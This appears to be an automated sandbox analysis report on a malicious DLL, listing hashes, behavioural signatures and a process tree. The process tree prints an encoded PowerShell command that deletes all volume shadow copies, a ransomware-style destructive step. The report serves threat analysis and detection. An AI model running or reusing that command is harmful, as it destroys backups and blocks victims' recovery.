Analysis
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max time kernel
119s -
max time network
119s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
24-01-2022 00:54
Static task
static1
Behavioral task
behavioral1
Sample
da74221e6e6eee961014701cd7f8be3805b324a602264b6801e766c4991906be.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
da74221e6e6eee961014701cd7f8be3805b324a602264b6801e766c4991906be.dll
Resource
win10-en-20211208
General
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Target
da74221e6e6eee961014701cd7f8be3805b324a602264b6801e766c4991906be.dll
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Size
116KB
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MD5
7c5392c2917bc5a8ad60bc1c05192347
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SHA1
fa39249bae667a34966b482f7b6da86e62cf094c
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SHA256
da74221e6e6eee961014701cd7f8be3805b324a602264b6801e766c4991906be
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SHA512
05dd856940b3612b3ba6d72c58e9eefae400cad077d2b4f639b5e8c7c767b2f22e092f47479b742d0d836b1ee6669a84d0bc2cd3fb43cb51829cec4934b3f175
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\V: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1612 rundll32.exe 760 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1612 rundll32.exe Token: SeDebugPrivilege 760 powershell.exe Token: SeBackupPrivilege 908 vssvc.exe Token: SeRestorePrivilege 908 vssvc.exe Token: SeAuditPrivilege 908 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1268 wrote to memory of 1612 1268 rundll32.exe rundll32.exe PID 1268 wrote to memory of 1612 1268 rundll32.exe rundll32.exe PID 1268 wrote to memory of 1612 1268 rundll32.exe rundll32.exe PID 1268 wrote to memory of 1612 1268 rundll32.exe rundll32.exe PID 1268 wrote to memory of 1612 1268 rundll32.exe rundll32.exe PID 1268 wrote to memory of 1612 1268 rundll32.exe rundll32.exe PID 1268 wrote to memory of 1612 1268 rundll32.exe rundll32.exe PID 1612 wrote to memory of 760 1612 rundll32.exe powershell.exe PID 1612 wrote to memory of 760 1612 rundll32.exe powershell.exe PID 1612 wrote to memory of 760 1612 rundll32.exe powershell.exe PID 1612 wrote to memory of 760 1612 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\da74221e6e6eee961014701cd7f8be3805b324a602264b6801e766c4991906be.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:1268 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\da74221e6e6eee961014701cd7f8be3805b324a602264b6801e766c4991906be.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1612 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:760
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:1828
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:908
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/760-56-0x000007FEFBCB1000-0x000007FEFBCB3000-memory.dmpFilesize
8KB
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memory/760-59-0x00000000027B2000-0x00000000027B4000-memory.dmpFilesize
8KB
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memory/760-58-0x00000000027B0000-0x00000000027B2000-memory.dmpFilesize
8KB
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memory/760-60-0x00000000027B4000-0x00000000027B7000-memory.dmpFilesize
12KB
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memory/760-57-0x000007FEF2D80000-0x000007FEF38DD000-memory.dmpFilesize
11.4MB
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memory/760-61-0x000000001B6E0000-0x000000001B9DF000-memory.dmpFilesize
3.0MB
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memory/760-62-0x00000000027BB000-0x00000000027DA000-memory.dmpFilesize
124KB
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memory/1612-55-0x0000000075F81000-0x0000000075F83000-memory.dmpFilesize
8KB